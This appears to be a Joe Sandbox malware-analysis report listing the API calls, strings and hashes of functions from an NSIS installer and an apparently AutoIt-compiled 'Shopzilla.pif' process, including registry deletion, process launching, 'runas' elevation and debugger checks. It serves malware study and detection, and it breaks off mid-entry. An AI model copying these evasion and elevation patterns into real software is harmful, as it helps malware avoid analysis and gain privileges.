Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction ID: 1eef4f6c404c38b42470a280790990b5f635bff36f5ff3debe150acb3f73a003
Opcode Fuzzy Hash: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction Fuzzy Hash: 59110873A0412837DB0065ADAC45EDE32989F81374F250237FE26F20D5EA78CD1182E8

Function 00405A73 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6
GetLastError.KERNEL32 ref: 00405ACA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADF
GetLastError.KERNEL32 ref: 00405AE9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A99

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 182fb86997ef6356dfbf0076fac1484c8d0c28c6014f2d3d8060d55cd567293f
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 30010871D00619EADF019BA0C988BEFBFB8EF04315F00813AD545B6280D7789648CFA9

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction ID: 5acf5ff44325b65ef2d3dead3dbb76990f04c91a4d0d8f72c78c18ffef5b4167
Opcode Fuzzy Hash: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction Fuzzy Hash: 05215A71500109BBDF129F90CE89EEF7A7DEB54348F110076B905B11E0E7B48E54AAA8

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction ID: def1b01f8fd4f78887aa18ea50614605241407c0d84dd339e733dcfbebc98a92
Opcode Fuzzy Hash: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction Fuzzy Hash: 06212672A04119AFCB05CFA4DE45AEEBBB5EF08304F14403AF945F62A0C7389D51DB98

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction ID: a76e2873b7558907f835798c96529171b27b16ad4d601dd46fbfe91b59f2db27
Opcode Fuzzy Hash: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction Fuzzy Hash: F101D871900250EFEB005BB4EE89B9A3FB0AF15300F24893EF141B71E2C6B904459BED

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction ID: 504b766b7349ebce22e5cc184c1b69e4e3709f4fc648736089561923f5a7a9d8
Opcode Fuzzy Hash: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction Fuzzy Hash: C221AD7195420AAEEF05AFB4D94AAAE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 00405E11 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E17
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E21
lstrcatW.KERNEL32(?,0040A014), ref: 00405E33

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E11

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: be8ecf20d8ded769d30575e1df7d92fadfde1fb70814d4249ac81525444b4036
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4DD0A7311029347AC2117B489C08CDF62ACAE96300341043BF142B30A4C77C5E5287FD

Function 00405F19 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0,00000000), ref: 00405F72
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0), ref: 00405F82

Strings

P_B, xrefs: 00405F1F

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction ID: 859fcd89679448da631e779a0da4808ed27405fda231041bc00783fb73730a7b
Opcode Fuzzy Hash: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction Fuzzy Hash: 5DF0F925115D2325D722333A5D09AAF1544CF92358B49013FF895F22C1DA3C8A13CDBE

Function 00405518 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405547
CallWindowProcW.USER32(?,?,?,?), ref: 00405598

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Strings

, xrefs: 00405528

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction ID: 7ed895885fecbfe1028844bafe119d46ede1b6e58bfeef0b35ccd3d75cf6e938
Opcode Fuzzy Hash: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction Fuzzy Hash: E60171B1200648BFDF208F11DD80A6B7726EB84755F244537FA007A1D4C77A8E529E59

Function 0040640A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422728,00000000,?,?,open cmd,?,?,00406699,80000002), ref: 00406450
RegCloseKey.ADVAPI32(?,?,00406699,80000002,Software\Microsoft\Windows\CurrentVersion,open cmd,open cmd,open cmd,00000000,00422728), ref: 0040645B

Strings

open cmd, xrefs: 00406411

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseQueryValue
String ID: open cmd
API String ID: 3356406503-2392162428
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: f0f89c662eeec8a22638327002db2d2d8046b3273e4fa87c0bc9f0af31e9764c
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: E1017172510209EBDF218F51CC05FDB3BB8EB54354F01403AFD55A2190D738D964DB94

Function 00405B25 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 00405B4E
CloseHandle.KERNEL32(?), ref: 00405B5B

Strings

Error launching installer, xrefs: 00405B38

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 4727b597e06a80ccf73fde1317b74bfd1e446cf8a7cb79422ce9438d985acd26
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 2FE0B6B4A00209BFEB109B64ED49F7B7BBDEB04648F414465BD50F6190D778A8158A7C

Function 00405F97 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FBF
CharNextA.USER32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD0
lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: a453383ccec69260e8b6b46741f5159dab33bedf04c15e844a7af63cc501478c
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 02F06235105418EFD7029BA5DD40D9EBBA8DF06350B2540BAE840F7350D678DE01ABA9

Analysis Process: Shopzilla.pifPID: 7700, Parent PID: 7472COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	88

Executed Functions

Function 00BB5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BB526C
IsDebuggerPresent.KERNEL32 ref: 00BB527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BB52E6

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Part of subcall function 00BABBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00BABC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00BB5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00BF0AAE
SetCurrentDirectoryW.KERNEL32(?), ref: 00BF0AE6
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00C55230), ref: 00BF0B69
ShellExecuteW.SHELL32(00000000), ref: 00BF0B70

Part of subcall function 00BB514C: GetSysColorBrush.USER32(0000000F), ref: 00BB5156
Part of subcall function 00BB514C: LoadCursorW.USER32(00000000,00007F00), ref: 00BB5165
Part of subcall function 00BB514C: LoadIconW.USER32(00000063), ref: 00BB517C
Part of subcall function 00BB514C: LoadIconW.USER32(000000A4), ref: 00BB518E
Part of subcall function 00BB514C: LoadIconW.USER32(000000A2), ref: 00BB51A0
Part of subcall function 00BB514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BB51C6
Part of subcall function 00BB514C: RegisterClassExW.USER32(?), ref: 00BB521C

Part of subcall function 00BB50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BB5109
Part of subcall function 00BB50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BB512A
Part of subcall function 00BB50DB: ShowWindow.USER32(00000000), ref: 00BB513E
Part of subcall function 00BB50DB: ShowWindow.USER32(00000000), ref: 00BB5147

Part of subcall function 00BB59D3: _memset.LIBCMT ref: 00BB59F9
Part of subcall function 00BB59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00BB5A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00BF0AA8
AutoIt, xrefs: 00BF0AA3
runas, xrefs: 00BF0B64

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 460ef5fa0982adc7f7312f19dc49de226b26e1138fd4a33cf6554398b1304347
Instruction ID: 40470936f8ca7f03b1f243c6a23327af1e45758f4514f2863f2face11ae5dad1
Opcode Fuzzy Hash: 460ef5fa0982adc7f7312f19dc49de226b26e1138fd4a33cf6554398b1304347
Instruction Fuzzy Hash: CD510471904248ABCF21EBB5DCA5FFEBBF8EB05740B1401E9F552622A2CAF05549CB25

Function 00C03B4F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

